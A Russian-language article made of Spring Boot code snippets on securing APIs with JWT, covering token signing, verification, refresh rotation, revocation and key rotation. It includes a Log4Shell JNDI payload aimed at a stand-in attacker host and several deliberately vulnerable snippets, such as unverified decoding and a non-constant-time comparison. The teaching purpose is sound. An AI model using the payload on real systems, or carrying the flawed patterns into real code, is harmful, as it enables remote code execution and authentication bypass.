Защита API Spring Boot с помощью шлюза JWT

// Уязвимый код - нет проверки алгоритма
DecodedJWT jwt = JWT.decode(token); 
// А надо было использовать верификацию с явным указанием алгоритма
JWTVerifier verifier = JWT.require(Algorithm.RSA256(publicKey, null))
    .build();
DecodedJWT jwt = verifier.verify(token);

// Пример эксплуатации Log4Shell
// Злоумышленник отправляет такую строку в заголовок User-Agent
// ${jndi:ldap://attacker.com/malicious}
logger.info("User-Agent: " + request.getHeader("User-Agent"));
// И log4j услужливо выполняет JNDI lookup, загружая вредоносный код

// Уязвимое сравнение
boolean isSignatureValid(byte[] expected, byte[] actual) {
    if (expected.length != actual.length) return false;
    for (int i = 0; i < expected.length; i++) {
        if (expected[i] != actual[i]) return false; // Раннее прерывание!
    }
    return true;
}
 
// Защищенное сравнение с постоянным временем
boolean isSignatureValid(byte[] expected, byte[] actual) {
    if (expected.length != actual.length) return false;
    int result = 0;
    for (int i = 0; i < expected.length; i++) {
        result |= expected[i] ^ actual[i]; // Битовое XOR
    }
    return result == 0;
}

// Пример защиты от replay атак с использованием nonce
@PostMapping("/transfer")
public ResponseEntity<?> transferMoney(@RequestBody TransferRequest request,
                                      @RequestHeader("Authorization") String token) {
    // Извлекаем nonce из запроса
    String nonce = request.getNonce();
    
    // Проверяем, использовался ли этот nonce ранее
    if (nonceRepository.existsById(nonce)) {
        throw new InvalidRequestException("Повторное использование nonce недопустимо");
    }
    
    // Сохраняем nonce как использованный
    nonceRepository.save(new UsedNonce(nonce, Instant.now()));
    
    // Продолжаем обработку запроса...
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

// Создание JWT с использованием RS256
private String generateToken(UserDetails userDetails) {
    return JWT.create()
        .withSubject(userDetails.getUsername())
        .withClaim("roles", userDetails.getAuthorities().stream()
                .map(GrantedAuthority::getAuthority)
                .collect(Collectors.toList()))
        .withIssuedAt(new Date())
        .withExpiresAt(new Date(System.currentTimeMillis() + TOKEN_VALIDITY * 1000))
        .withJWTId(UUID.randomUUID().toString())
        .sign(Algorithm.RSA256(null, privateKey));
}
 
// Проверка JWT на стороне ресурс-сервера
public DecodedJWT verifyToken(String token) {
    try {
        JWTVerifier verifier = JWT.require(Algorithm.RSA256(publicKey, null))
                .withIssuer("my-auth-server")
                .build();
        return verifier.verify(token);
    } catch (JWTVerificationException e) {
        throw new InvalidTokenException("Недействительный JWT-токен", e);
    }
}

@Configuration
public class JwtAuthConverterConfig {
    @Bean
    public Converter<Jwt, AbstractAuthenticationToken> jwtAuthenticationConverter() {
        JwtGrantedAuthoritiesConverter authoritiesConverter = new JwtGrantedAuthoritiesConverter();
        authoritiesConverter.setAuthoritiesClaimName("roles");
        authoritiesConverter.setAuthorityPrefix("ROLE_");
        
        JwtAuthenticationConverter converter = new JwtAuthenticationConverter();
        converter.setJwtGrantedAuthoritiesConverter(authoritiesConverter);
        return converter;
    }
}
 
@RestController
@RequestMapping("/api/admin")
public class AdminController {
    @GetMapping("/dashboard")
    @PreAuthorize("hasRole('ADMIN') and @tenantSecurity.hasTenantAccess(authentication, #tenantId)")
    public ResponseEntity<?> getDashboard(@RequestParam String tenantId) {
        // Логика контроллера
    }
}
 
@Component("tenantSecurity")
public class TenantSecurityEvaluator {
    public boolean hasTenantAccess(Authentication authentication, String tenantId) {
        Jwt jwt = (Jwt) authentication.getPrincipal();
        String userTenantId = jwt.getClaim("tenantId");
        return tenantId.equals(userTenantId);
    }
}

@PostMapping("/refresh")
public ResponseEntity<?> refreshToken(@CookieValue(name = "refreshToken") String refreshToken) {
    try {
        // Проверяем refresh token
        DecodedJWT decodedRefreshToken = jwtService.verifyRefreshToken(refreshToken);
        String username = decodedRefreshToken.getSubject();
        
        // Проверяем, не отозван ли токен
        if (tokenBlacklistService.isBlacklisted(decodedRefreshToken.getId())) {
            throw new InvalidTokenException("Refresh token отозван");
        }
        
        // Получаем пользователя
        UserDetails userDetails = userDetailsService.loadUserByUsername(username);
        
        // Создаем новый access token
        String newAccessToken = jwtService.generateAccessToken(userDetails);
        
        // Опционально: ротация refresh token для повышения безопасности
        String newRefreshToken = jwtService.generateRefreshToken(userDetails);
        tokenBlacklistService.blacklist(decodedRefreshToken.getId());
        
        // Возвращаем новые токены
        return ResponseEntity.ok()
                .header("Authorization", "Bearer " + newAccessToken)
                .header(HttpHeaders.SET_COOKIE, createRefreshTokenCookie(newRefreshToken).toString())
                .body(new TokenRefreshResponse(newAccessToken));
    } catch (JWTVerificationException e) {
        throw new InvalidTokenException("Невалидный refresh token", e);
    }
}

@Configuration
@EnableWebFluxSecurity
public class SecurityConfig {
    
    private final ReactiveJwtAuthenticationConverter jwtAuthConverter;
    
    public SecurityConfig(ReactiveJwtAuthenticationConverter jwtAuthConverter) {
        this.jwtAuthConverter = jwtAuthConverter;
    }
    
    @Bean
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .csrf().disable()
            .authorizeExchange()
                .pathMatchers("/api/public/[B]").permitAll()
                .pathMatchers("/api/admin/[/B]").hasRole("ADMIN")
                .anyExchange().authenticated()
            .and()
            .oauth2ResourceServer()
                .jwt()
                .jwtAuthenticationConverter(jwtAuthConverter)
            .and().and()
            .exceptionHandling()
                .authenticationEntryPoint((exchange, ex) -> 
                    Mono.fromRunnable(() -> exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED)))
                .accessDeniedHandler((exchange, ex) -> 
                    Mono.fromRunnable(() -> exchange.getResponse().setStatusCode(HttpStatus.FORBIDDEN)))
            .and()
            .build();
    }
}

@Configuration
public class JwtDecoderConfig {
    @Bean
    public JwtDecoder jwtDecoder(OAuth2ResourceServerProperties properties) {
        String jwkSetUri = properties.getJwt().getJwkSetUri();
        NimbusJwtDecoder jwtDecoder = NimbusJwtDecoder
            .withJwkSetUri(jwkSetUri)
            .cache(new MappingJWKSetCache()) // Включаем кеширование
            .jwsAlgorithms(algs -> {
                algs.add(SignatureAlgorithm.RS256);
                algs.add(SignatureAlgorithm.ES256);
            })
            .build();
        
        // Кастомная валидация claims
        OAuth2TokenValidator<Jwt> defaultValidator = JwtValidators
            .createDefaultWithIssuer(properties.getJwt().getIssuerUri());
        OAuth2TokenValidator<Jwt> audienceValidator = new CustomAudienceValidator("my-api");
        
        jwtDecoder.setJwtValidator(new DelegatingOAuth2TokenValidator<>(
            defaultValidator, audienceValidator
        ));
        
        return jwtDecoder;
    }
}

@Component
class Auth0Converter implements Converter<Jwt, AbstractAuthenticationToken> {
    @Override
    public AbstractAuthenticationToken convert(Jwt jwt) {
        Map<String, Object> claims = jwt.getClaims();
        
        // Auth0 использует namespace для claims
        Map<String, Object> permissions = (Map<String, Object>) 
            claims.getOrDefault("https://myapi.example.com/claims", Collections.emptyMap());
        
        List<String> roles = (List<String>) permissions.getOrDefault("roles", Collections.emptyList());
        
        List<GrantedAuthority> authorities = roles.stream()
            .map(role -> new SimpleGrantedAuthority("ROLE_" + role))
            .collect(Collectors.toList());
        
        return new JwtAuthenticationToken(jwt, authorities);
    }
}

@Component
public class JwtMetricsFilter extends OncePerRequestFilter {
    private final MeterRegistry meterRegistry;
    
    public JwtMetricsFilter(MeterRegistry meterRegistry) {
        this.meterRegistry = meterRegistry;
    }
    
    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                  HttpServletResponse response, 
                                  FilterChain filterChain) throws IOException, ServletException {
        String authHeader = request.getHeader("Authorization");
        
        if (authHeader != null && authHeader.startsWith("Bearer ")) {
            try {
                String token = authHeader.substring(7);
                DecodedJWT jwt = JWT.decode(token);
                
                // Метрики по эмитентам токенов
                meterRegistry.counter("jwt.requests", 
                    "issuer", jwt.getIssuer(), 
                    "path", request.getRequestURI()).increment();
                
                // Метрики по сроку жизни токенов
                long expiresAt = jwt.getExpiresAt().getTime();
                long issuedAt = jwt.getIssuedAt().getTime();
                long lifespan = expiresAt - issuedAt;
                
                meterRegistry.summary("jwt.lifespan", 
                    "issuer", jwt.getIssuer()).record(lifespan);
                
            } catch (JWTDecodeException e) {
                meterRegistry.counter("jwt.decode.errors", 
                    "path", request.getRequestURI()).increment();
            }
        }
        
        filterChain.doFilter(request, response);
    }
}

@Service
@RequiredArgsConstructor
public class OptimizedJwtService {
    private final JwtDecoder jwtDecoder;
    private final RedisTemplate<String, String> redisTemplate;
    private final Cache tokenCache;  // Caffeine cache
    
    public Authentication validateToken(String token) {
        // Проверка в локальном кеше
        Authentication cachedAuth = tokenCache.getIfPresent(token);
        if (cachedAuth != null) {
            return cachedAuth;
        }
        
        // Проверка в блэклисте
        if (Boolean.TRUE.equals(redisTemplate.hasKey("blacklist:" + getTokenId(token)))) {
            throw new InvalidTokenException("Token has been revoked");
        }
        
        // Полная валидация
        Jwt jwt = jwtDecoder.decode(token);
        Collection<GrantedAuthority> authorities = extractAuthorities(jwt);
        
        JwtAuthenticationToken auth = new JwtAuthenticationToken(jwt, authorities);
        
        // Кешируем результат
        tokenCache.put(token, auth);
        
        return auth;
    }
    
    private String getTokenId(String token) {
        // Простая эвристика для извлечения jti без полной декодирования
        try {
            String payload = token.split("\\.")[1];
            String decodedPayload = new String(Base64.getUrlDecoder().decode(payload));
            // Используем регулярку для извлечения jti
            Pattern pattern = Pattern.compile("\"jti\":\"([^\"]+)\"");
            Matcher matcher = pattern.matcher(decodedPayload);
            if (matcher.find()) {
                return matcher.group(1);
            }
        } catch (Exception ignored) {
            // Fallback к полному декодированию
        }
        
        // Полное декодирование если эвристика не сработала
        DecodedJWT jwt = JWT.decode(token);
        return jwt.getId();
    }
}

@Service
public class RedisTokenBlacklistService implements TokenBlacklistService {
    private final RedisTemplate<String, String> redisTemplate;
    private static final String BLACKLIST_PREFIX = "token:blacklist:";
    
    public RedisTokenBlacklistService(RedisTemplate<String, String> redisTemplate) {
        this.redisTemplate = redisTemplate;
    }
    
    @Override
    public void blacklist(String tokenId, Duration ttl) {
        redisTemplate.opsForValue().set(
            BLACKLIST_PREFIX + tokenId,
            "1",
            ttl
        );
    }
    
    @Override
    public boolean isBlacklisted(String tokenId) {
        return Boolean.TRUE.equals(
            redisTemplate.hasKey(BLACKLIST_PREFIX + tokenId)
        );
    }
    
    @Override
    public void blacklistAllUserTokens(String username) {
        // Здесь бы хранился маппинг username -> tokenIds
        Set<String> userTokens = getUserTokens(username);
        for (String tokenId : userTokens) {
            blacklist(tokenId, Duration.ofDays(7));
        }
    }
}

@Component
public class JwtAnomalyDetectionFilter extends OncePerRequestFilter {
    private final AnomalyDetectionService anomalyService;
    private final AuditLogService auditLogService;
    
    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                 HttpServletResponse response, 
                                 FilterChain chain) throws ServletException, IOException {
        try {
            chain.doFilter(request, response);
        } catch (InvalidTokenException e) {
            String clientIp = extractClientIp(request);
            String userAgent = request.getHeader("User-Agent");
            
            // Логируем неудачную попытку
            auditLogService.logTokenFailure(clientIp, userAgent, e.getMessage());
            
            // Проверяем на аномалии
            if (anomalyService.isAnomalousActivity(clientIp, userAgent)) {
                auditLogService.logPotentialAttack(clientIp, userAgent);
                // Опционально: активация защитных мер
                // securityResponseService.blockSuspiciousIp(clientIp);
            }
            
            throw e;
        }
    }
}

@RestControllerAdvice
public class JwtAuthenticationExceptionHandler {
    private final Logger logger = LoggerFactory.getLogger(JwtAuthenticationExceptionHandler.class);
    
    @ExceptionHandler(InvalidTokenException.class)
    public ResponseEntity<ErrorResponse> handleInvalidToken(InvalidTokenException ex, 
                                                         HttpServletRequest request) {
        // Подробное логирование для внутреннего анализа
        logger.warn("JWT validation failed: {} - IP: {}, UA: {}, Path: {}", 
                ex.getMessage(), 
                extractClientIp(request),
                request.getHeader("User-Agent"),
                request.getRequestURI());
        
        // Минимальная информация для клиента
        return ResponseEntity
            .status(HttpStatus.UNAUTHORIZED)
            .body(new ErrorResponse("authentication_failed", "Authentication failed"));
    }
}

@PostMapping("/refresh")
public ResponseEntity<?> refreshTokens(
        @CookieValue(name = "refresh_token") String refreshToken,
        @CookieValue(name = "fp") String fingerprint,
        HttpServletRequest request) {
    
    DecodedJWT jwt = jwtService.verifyRefreshToken(refreshToken);
    
    // Проверяем fingerprint
    String tokenFingerprint = jwt.getClaim("fp").asString();
    if (!securityService.verifyFingerprint(fingerprint, tokenFingerprint)) {
        auditLogService.logRefreshTokenMismatch(extractClientIp(request));
        throw new InvalidTokenException("Invalid refresh token");
    }
    
    // Продолжаем обычный процесс обновления токенов...
}

// Опасный антипаттерн - нет проверки отозванных токенов
public Authentication getAuthentication(String token) {
    DecodedJWT jwt = JWT.decode(token);
    // Проверка подписи и срока действия, но нет проверки отзыва!
    String username = jwt.getSubject();
    UserDetails userDetails = userDetailsService.loadUserByUsername(username);
    return new UsernamePasswordAuthenticationToken(userDetails, "", userDetails.getAuthorities());
}

// Проблемный код - использование локального времени
private Date generateExpirationDate() {
    LocalDateTime now = LocalDateTime.now(); // Ошибка! Зависит от системного времени
    LocalDateTime expiry = now.plusHours(24);
    return Date.from(expiry.atZone(ZoneId.systemDefault()).toInstant()); // Еще одна ошибка!
}
 
// Правильный код - использование UTC
private Date generateExpirationDate() {
    return new Date(System.currentTimeMillis() + 24 * 60 * 60 * 1000);
}

@Test
public void shouldRejectTokenWithTamperedSignature() {
    // Получаем валидный токен
    String validToken = authService.generateToken(testUser);
    
    // Модифицируем последний байт подписи
    String[] parts = validToken.split("\\.");
    String tampered = parts[0] + "." + parts[1] + "." + tamperLastByte(parts[2]);
    
    // Проверяем отклонение
    mockMvc.perform(get("/api/secured")
           .header("Authorization", "Bearer " + tampered))
           .andExpect(status().isUnauthorized());
}
 
@Test
public void shouldRejectExpiredToken() {
    // Создаем токен с коротким сроком жизни
    String token = jwtService.generateTokenWithCustomExpiration(testUser, 1); // 1 секунда
    
    // Ждем истечения
    Thread.sleep(1500);
    
    // Проверяем отклонение
    mockMvc.perform(get("/api/secured")
           .header("Authorization", "Bearer " + token))
           .andExpect(status().isUnauthorized());
}

// До оптимизации - RSA256
Algorithm algorithm = Algorithm.RSA256(publicKey, null);
 
// После оптимизации - ES256
Algorithm algorithm = Algorithm.ECDSA256(publicKey, null);

// До оптимизации
String key = "blacklist:" + tokenId;
 
// После оптимизации - добавляем шардирование по первому символу токена
char shardKey = tokenId.charAt(0);
String key = "blacklist:" + shardKey + ":" + tokenId;

// Распространенная ошибка в конфигурации безопасности
http
    .authorizeRequests()
    .antMatchers("/api/public/[B]").permitAll()
    .antMatchers("/api/admin/[/B]").hasRole("ADMIN")
    // Забыли добавить .anyRequest().authenticated()
    // Это означает, что все пути, не подпадающие под указанные шаблоны, будут доступны без аутентификации!

@Service
public class KeyRotationService {
  private final Map<String, RSAPublicKey> publicKeys = new ConcurrentHashMap<>();
  private RSAPrivateKey currentPrivateKey;
  private String currentKeyId;
  
  // Добавляем новый ключ, но пока не используем для подписи
  @Scheduled(cron = "0 0 1 1 * *") // Раз в месяц
  public void rotateKeys() {
      KeyPair newKeyPair = generateRSAKeyPair();
      String newKeyId = UUID.randomUUID().toString();
      
      // Добавляем новый публичный ключ в мапу
      publicKeys.put(newKeyId, (RSAPublicKey) newKeyPair.getPublic());
      
      // Обновляем текущий ключ для подписи
      currentPrivateKey = (RSAPrivateKey) newKeyPair.getPrivate();
      // Сохраняем старый keyId для опознавания токенов
      String oldKeyId = currentKeyId;
      currentKeyId = newKeyId;
      
      // Старый ключ остается в мапе для валидации существующих токенов
      // Удаляем совсем старые ключи (опционально)
      // ...
  }
  
  public String generateToken(UserDetails user) {
      return JWT.create()
          .withKeyId(currentKeyId) // Указываем id используемого ключа
          // ... остальные claims
          .sign(Algorithm.RSA256(null, currentPrivateKey));
  }
  
  public DecodedJWT verifyToken(String token) {
      // Сначала декодируем без проверки, чтобы получить keyId
      DecodedJWT jwt = JWT.decode(token);
      String keyId = jwt.getKeyId();
      
      // Получаем соответствующий публичный ключ
      RSAPublicKey publicKey = publicKeys.get(keyId);
      if (publicKey == null) {
          throw new InvalidTokenException("Unknown key ID: " + keyId);
      }
      
      // Проверяем токен с правильным ключом
      return JWT.require(Algorithm.RSA256(publicKey, null))
          .build()
          .verify(token);
  }
}

// Старый формат в токене
"roles": ["ADMIN", "USER"]
 
// Новый формат
"roles": [
  {"name": "ADMIN", "scope": "global"},
  {"name": "USER", "scope": "local"}
]
 
// Код, ожидающий старый формат, внезапно сломался
List<String> roles = jwt.getClaim("roles").asList(String.class);
// ClassCastException!

@Component
public class DynamicJwtCache {
  private final CacheManager cacheManager;
  
  // Определяем TTL кеша в зависимости от ролей в токене
  private Duration determineCacheTtl(DecodedJWT jwt) {
      List<String> roles = jwt.getClaim("roles").asList(String.class);
      
      if (roles.contains("SUPER_ADMIN")) {
          return Duration.ofSeconds(30); // Минимальное кеширование для админов
      } else if (roles.contains("FINANCIAL_MANAGER")) {
          return Duration.ofMinutes(2); // Среднее для финансовых операций
      } else {
          return Duration.ofMinutes(5); // Стандартное для обычных пользователей
      }
  }
}

// Подход 1: Самописная JWT-аутентификация
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginRequest request) {
    // Аутентификация пользователя
    // Генерация JWT
    String token = jwtService.generateToken(user);
    return ResponseEntity.ok(new TokenResponse(token));
}
 
// Подход 2: OAuth 2.0 + Spring Security
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .oauth2Login()
            .and()
            .oauth2ResourceServer()
            .jwt();
    }
}

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .oauth2Login() // OAuth 2.0 для входа пользователей
            .and()
            .oauth2ResourceServer() // JWT-валидация для API
                .jwt()
            .and()
            .authorizeRequests()
                .antMatchers("/api/payments/**").hasAuthority("SCOPE_payments")
                .and()
                .addFilterBefore(new TransactionVerificationFilter(), 
                        UsernamePasswordAuthenticationFilter.class); // Доп. проверка для транзакций
        
        return http.build();
    }
}
 
// Дополнительная проверка для критичных операций
@Component
public class TransactionVerificationFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                   HttpServletResponse response, 
                                   FilterChain chain) throws IOException, ServletException {
        
        if (isPaymentEndpoint(request) && isHighValuePayment(request)) {
            // Проверяем наличие дополнительного фактора аутентификации
            String otpToken = request.getHeader("X-OTP-Token");
            if (!otpService.verifyOtp(otpToken, getCurrentUser())) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
                return;
            }
        }
        
        chain.doFilter(request, response);
    }
}

// Создание JWT с контекстной информацией для Zero Trust
private String createContextAwareJwt(Authentication auth, SecurityContext context) {
    return JWT.create()
        .withSubject(auth.getName())
        .withIssuedAt(new Date())
        .withExpiresAt(new Date(System.currentTimeMillis() + TOKEN_VALIDITY))
        // Контекстная информация для ZTA
        .withClaim("auth_strength", calculateAuthStrength(auth))
        .withClaim("device_trust", context.getDeviceTrustScore())
        .withClaim("network_trust", context.getNetworkTrustScore())
        .withClaim("geo_location", context.getGeoLocation())
        .withClaim("risk_score", context.getRiskScore())
        .withArrayClaim("auth_factors", context.getAuthFactors())
        .sign(algorithm);
}
 
// Адаптивная авторизация на основе контекста
@PreAuthorize("hasRole('PAYMENT_ADMIN') && @securityEvaluator.isTrustedContext(authentication)")
public void executePayment(PaymentRequest request) {
    // Логика платежа
}
 
@Component
public class SecurityEvaluator {
    public boolean isTrustedContext(Authentication auth) {
        Jwt jwt = (Jwt) auth.getPrincipal();
        int authStrength = jwt.getClaim("auth_strength");
        double deviceTrust = jwt.getClaim("device_trust");
        double riskScore = jwt.getClaim("risk_score");
        
        // Адаптивная проверка - чем выше риск, тем строже требования
        if (riskScore > 80) {
            return false; // Блокируем высокорисковые операции
        } else if (riskScore > 50) {
            return authStrength >= 3 && deviceTrust > 0.8; // Строгие требования
        } else {
            return authStrength >= 2; // Стандартные требования
        }
    }
}

// Запрос на доступ к чувствительным данным
@PostMapping("/elevate-access")
public ResponseEntity<?> elevateAccess(@RequestParam String otpCode) {
    Authentication auth = SecurityContextHolder.getContext().getAuthentication();
    
    // Проверяем OTP
    if (!otpService.verify(auth.getName(), otpCode)) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    
    // Создаем токен с повышенным доступом
    String elevatedToken = jwtService.createElevatedAccessToken(auth);
    
    return ResponseEntity.ok(new TokenResponse(elevatedToken));
}
 
// Метод с требованием повышенного доступа
@GetMapping("/patient/{id}/medicalHistory")
@PreAuthorize("hasAuthority('ELEVATED_ACCESS')")
public ResponseEntity<?> getMedicalHistory(@PathVariable String id) {
    // Доступ к чувствительным данным
}

// Создание токена для конкретной операции
public String createOperationToken(Authentication auth, String operation, String resourceId) {
    return JWT.create()
        .withSubject(auth.getName())
        .withIssuedAt(new Date())
        // Сверхкороткий срок жизни
        .withExpiresAt(new Date(System.currentTimeMillis() + 120_000)) // 2 минуты
        // Строгое ограничение области применения
        .withClaim("operation", operation)
        .withClaim("resource", resourceId)
        // Одноразовое использование
        .withJWTId(UUID.randomUUID().toString())
        .sign(algorithm);
}

@PostMapping("/biometric-auth")
public ResponseEntity<?> biometricAuth(@RequestBody BiometricRequest request) {
  // Фаза 1: Проверка биометрических данных
  BiometricVerificationResult result = biometricService.verify(
      request.getUserId(),
      request.getBiometricData()
  );
  
  if (!result.isSuccessful()) {
      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
  }
  
  // Фаза 2: Выдача JWT с пометкой о биометрической аутентификации
  String token = jwtService.createToken(
      userService.loadUserById(request.getUserId()),
      Map.of("auth_method", "biometric", "auth_strength", 3)
  );
  
  return ResponseEntity.ok(new TokenResponse(token));
}

// На уровне API Gateway
@Component
public class JwtPreValidationFilter extends AbstractGatewayFilterFactory<JwtPreValidationFilter.Config> {
  
  @Override
  public GatewayFilter apply(Config config) {
      return (exchange, chain) -> {
          // Базовая проверка JWT (формат, не истек ли срок)
          // Без проверки подписи для производительности
          String token = extractToken(exchange.getRequest());
          
          try {
              // Легковесная проверка без криптографии
              DecodedJWT jwt = JWT.decode(token);
              Date expiresAt = jwt.getExpiresAt();
              
              if (expiresAt != null && expiresAt.before(new Date())) {
                  return onError(exchange, "Token expired");
              }
              
              // Пропускаем токен дальше для полной валидации в микросервисе
              return chain.filter(exchange);
          } catch (Exception e) {
              return onError(exchange, "Invalid token format");
          }
      };
  }
  
  // ...
}